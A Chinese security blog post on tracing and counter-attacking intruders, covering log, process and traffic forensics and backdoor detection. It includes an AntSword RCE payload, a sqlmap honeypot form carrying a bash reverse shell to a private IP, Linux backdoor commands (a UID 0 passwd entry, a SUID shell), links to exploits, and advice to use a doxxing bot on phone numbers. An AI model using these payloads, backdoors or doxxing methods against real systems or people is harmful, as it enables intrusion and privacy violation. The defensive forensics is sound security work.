溯源反制思路整合
0x01反制的整體思路
反入侵得到攻擊者機器權限 -> 入侵現場還原,摸清入侵思路 -> 並且須知入侵者的相關后門遺留,以便處理后門 -> 抓取入侵者的真實IP獲得地理位置 -> 並按照攻擊者的攻擊路線加固相關漏洞安全。
0x02 反制具體思路
0x0201 反制主機
傀儡機一般都是具有漏洞的主機,可以使用常規滲透測試的手段進行攻擊,這個操作就非常廣了,在這里不過多贅述。
0x0202 反制后門附件
- 對附件進行逆向分析,得到C2地址,然后對目標ip進行滲透攻擊。
- 有些釣魚郵件頭中,沒有對源地址進行偽裝,那么就有可能獲取到源IP或者域名
- 留下的后門中有對自己的teamserver回傳數據,可以通過分析后門,或者查看后門源碼得知。
0x0203 反制攻擊工具
倘若對方使用帶有漏洞版本的攻擊工具例如蟻劍、AWVS等,這時候可以使用RCE攻擊對其進行反控,高版本蟻劍上此漏洞已經被修復。
已知有漏洞的工具版本:
-
蟻劍 <=2.0.7
可以RCE的漏洞 https://github.com/AntSwordProject/antSword/issues/147被發現另外一枚可以RCE的漏洞 https://github.com/AntSwordProject/antSword/issues/150
Payload:
<?php if(strlen($_POST[1]) == 153){ preg_match_all('/echo "(\w+)";/i', $_POST[1], $mat); $profix = $mat[1][0]; $suffix = $mat[1][1]; echo $profix;?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Hello World!</title> </head> <body> <h1>Hello World!</h1> <p>This window does not have access to node bindings.</p> <pre>process: <script>document.write(process)</script></pre> <script> window.open('data:text/html,But this one does! <br><pre>process.cwd(): <script>document.write(process.cwd());const {spawn} = require("child_process");spawn("open",["/Applications/Calculator.app"]);</scr'+'ipt></pre>'); </script> </body> </html> <?php echo $suffix; }else{ eval($_POST[1]); }
-
awvs 10
直接利用exp,等待對方掃描自己,即刻上線。exp下載地址:https://github.com/dzonerzy/acunetix_0day -
cobalt strike
3.5版本teamserver有RCE漏洞
可以爆破teamserver密碼,然后得到黑客攻擊的其他傀儡機。
-
sqlmap
構造特殊的get或者post注入點來等待攻擊者使用sqlmap掃描,例如下圖,將get請求中的一個參數的值設置為ls
l,倘若直接改成反彈shell的代碼即可反控對方機器。post利用方式:
<html> <head> <title> A sqlmap honeypot demo</title> </head> <body> <input>search the user</input> <form id="myForm" action="username.html" method="post" enctype="text/plain"> <input type='hidden' name='name'value='Robin&id=4567&command=shell`bash -i >&/dev/tcp/192.168.xxx.xxx/2333 0>&1`&port=1234'/> <input type="button"οnclick="myForm.submit()" value="Submit"> </form> </body> </html>
0x03 拿下傀儡機之后如何進行源IP的查找
一般拿到傀儡機之后,就需要查找下一步攻擊者的信息了,當然攻擊者也很有可能搭建socks代理來攻擊,但是還是有可能會發現真實攻擊者的蛛絲馬跡的。
0x0301 日志分析
01 Web日志分析
Nginx,Apache,IIS,Tomcat
可以查看分析攻擊者的IP,訪問的UA
可以grep木馬頁面篩選攻擊者IP,
查看日志中某個路徑訪問最多的10個IP
cat gitsort.log | grep "/language/HTML" | cut -d ' ' -f 1 | sort | uniq -c | sort -nr | head -n 10
02 系統日志分析
可以看到訪問者的IP
Windows
日志路徑:C:\Windows\System32\winevt\Logs
必看日志:Security.evtx、System.evtx、Application.evtx
Linux
- 日志路徑:
/var/log
必看日志:secure、history
/var/log/boot.log:錄了系統在引導過程中發生的事件,就是Linux系統開機自檢過程顯示的信息
/var/log/lastlog :記錄最后一次用戶成功登陸的時間、登陸IP等信息
/var/log/messages :記錄Linux操作系統常見的系統和服務錯誤信息
/var/log/secure :Linux系統安全日志,記錄用戶和工作組變壞情況、用戶登陸認證情況
/var/log/btmp :記錄Linux登陸失敗的用戶、時間以及遠程IP地址
/var/log/syslog:只記錄警告信息,常常是系統出問題的信息,使用lastlog查看
/var/log/wtmp:該日志文件永久記錄每個用戶登錄、注銷及系統的啟動、停機的事件,使用last命令查看
/var/run/utmp:該日志文件記錄有關當前登錄的每個用戶的信息。如 who、w、users、finger等就需要訪問這個文件
/var/log/syslog 或 /var/log/messages 存儲所有的全局系統活動數據,包括開機信息。基於 Debian 的系統如 Ubuntu 在 /var/log/syslog 中存儲它們,而基於 RedHat 的系統如 RHEL 或 CentOS 則在 /var/log/messages 中存儲它們。
/var/log/auth.log 或 /var/log/secure 存儲來自可插拔認證模塊(PAM)的日志,包括成功的登錄,失敗的登錄嘗試和認證方式。Ubuntu 和 Debian 在 /var/log/auth.log 中存儲認證信息,而 RedHat 和 CentOS 則在 /var/log/secure 中存儲該信息。
-
lastlog 查看最后登陸日志
-
查看 /var/log/secure日志
-
history命令
查看歷史命令記錄,運氣好的話可以獲得比較關鍵的信息
0x0302 進程分析
Windows
-
tasklist
查看進程列表,eg: tasklist | find "16376"進一步查看16376進程的具體信息。
-
WMIC擴展WMI(Windows Management Instrumentation,Windows管理規范) ,提供了從命令行接口和批命令腳本執行系統管理的支持。C:\users\fengxuan>wmic
wmic:root\cli>這時,在命令行再輸入process, 就可以查看完整的進程信息了。
-
windows的任務管理器是很好的進程查看工具,當然大家還可以使用一些其他工具,比如Kernel Detective 來幫助你檢測
https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
Linux
-
ps
ps aux
查看進程 -
/proc/進程號
進程信息
在瀏覽 /proc 目錄的時候您會發現許多目錄的名稱是一些數字。這些目錄保存了當前系統中運行的所有進程的信息。 -
Top 命令,查看進程占用系統資源情況
-
lsof命令
0x0303 流量分析
通用
netstat -an
查看網絡連接
netstat -na|grep ESTABLISHED
查看已經連接上的網絡IP
netstat -unltp
查看進程占用的端口號 (很有用)
Windows
wireshark
fiddler
linux
tcpdump
使用命令 tcpdump -i any -c100 -nn -w /tmp/tcpdump_save.cap
將抓到的包放到wireshark中進行分析
0x0304 服務查詢
Windows
常見的后門技術列表:
1、隱藏、克隆賬戶
test$
,
查找方式 :
需要在界面上的用戶管理查看,而不是單單在命令行查看
2、shift后門
將C盤windows目錄下面的system32文件里面的sethc.exe應用程序進行轉移,並生成sethc.exe.bak文件。並將cmd.exe拷貝覆蓋sethc.exe
查找方式 :
Md5 sethc.exe 看下是不是cmd.exe 的MD5
certutil -hashfile filename MD5
3、啟動項、計划任務
【啟動項】
查找方式 :
window--開始--所有程序--啟動
【組策略欺騙】
組策略,運行gpedit.msc,通過最策略的“腳本(啟動/關機)”項來說實現。
查找方式 :
具體位置在“計算機配置→Windows設置”項下。因為其極具隱蔽性,因此常常被攻擊者利用來做服務器后門。
【計划任務】
查找方式 :
window--開始--所有程序--附件--系統工具--任務計划程序
4、劫持技術
查找方式 :
所謂的映像劫持就是Image File Execution Options(IFEO),位於注冊表的 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
查找方式 :
這個注冊項中有惡意的鍵值對就需要排查.
5、Powershell后門
如何創建穩定的powershell backdoor https://github.com/AV1080p/Schtasks-Backdoor
查找方式 :
查看進程中是否有powershell的常駐進程
6、遠控軟件
Cobaltstrike, 灰鴿子。只能通過進程分析和流量分析才能找到木馬。因為cs可以注入到其他進程中比如說System進程。
查找方式 :
通過任務管理器分析進程,還需要通過WSExplorer進行進程抓包。
7、嗅探技術
Cain
查找方式 :
查看進程
LInux
-
增加超級用戶帳號
echo "mx7krshell:x:0:0::/:/bin/sh" >> /etc/passwd
查找方式 :
查看 /etc/passwd 是否有UID為0的用戶
-
破解/嗅控用戶密碼
查找方式 :查看進程,分析
-
放置SUID Shell
cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell
查找系統中設置了SUID權限的文件
find / -perm +4000 -exec ls -ld {} \; //查找設置了SUID權限的文件
find / -perm +6000 -exec ls -ld {} \; //上面的-6000表示既具有suid權限又具有sgid權限的文件
-
利用系統服務程序
修改/etc/inetd.conf daytime stream tcp nowait /bin/sh sh –I 用trojan程序替換in.telnetd、in.rexecd等 inted的服務程序重定向login程序
查找方式 :查看配置文件,查看文件MD5
-
TCP/UDP/ICMP Shell
Ping Backdoor,通過ICMP包激活后門, 形成一個Shell通道。
TCP ACK數據包后門,能夠穿越防火牆。Linux下的icmp shell后門 容易被發現
http://prdownloads.sourceforge.net/icmpshell/ish-v0.2.tar.gz
這個是py版的 https://github.com/inquisb/icmpsh/blob/master/icmpsh_m.py
查找方式 :查看進程
-
Crontab定時任務
crontab -l #查看服務
0x0305 其他技巧
-
查看公鑰,獲取攻擊者電腦名
-
查看其他操作日志記錄,比如說Openvpn
通用
查詢在線登陸者
LInux: w命令
Windows:query user
進程分析得到的病毒樣本,可以在https://x.threatbook.cn/ 微步進行HASH查詢,https://www.virustotal.com/ 這個網站上進行查詢,可以檢測是否為病毒,還有可以得到病毒的C2地址。
0x04 溯源相關思路
根據IP進行溯源
-
微步在線
-
搜索引擎搜索
-
github搜索
根據域名進行溯源
- whois查詢
- 備案查詢
- 企查查/天眼查查詢
- zoomeye/fofa查詢
根據ID溯源
- 在搜索引擎查找
- 在github,gitee,開源中國中查找
- 在社交平台上查找,(微信/微博/linkedin/twitter)
- 在安全群/安全圈子里詢問。
根據病毒源碼細節溯源
-
查找代碼中比較特殊的字符比如說:
在github中搜索這個特殊字符串“\x47\x4c\x4fB\x41\x4c\x53”。
-
查看代碼中是否有請求攻擊者其他主機的功能,會有IP,域名
通過手機號碼溯源
1. 社交平台查詢(微信/支付寶/微博/抖音)
2. 通過telegram里社工庫機器人進行精准信息查詢,機器人ID:@sgkmainbot
3. 查詢注冊過哪些網站 網站地址:https://www.reg007.com/
總結
這篇文章是我目前知道的溯源反制的所有的操作細節規范,在以后如果有新的技術出現,我也會及時的補充進去,我把這個文檔放在Notion上,動態的更新,大家可以隨時查看下:
https://fengxuan.notion.site/0fd37de0b16b44b9a546304ff83f82e8
這里我就放一張思維導圖,大家可以在工作的時候參考。
我的公號:風炫安全, 領取10G藍隊資料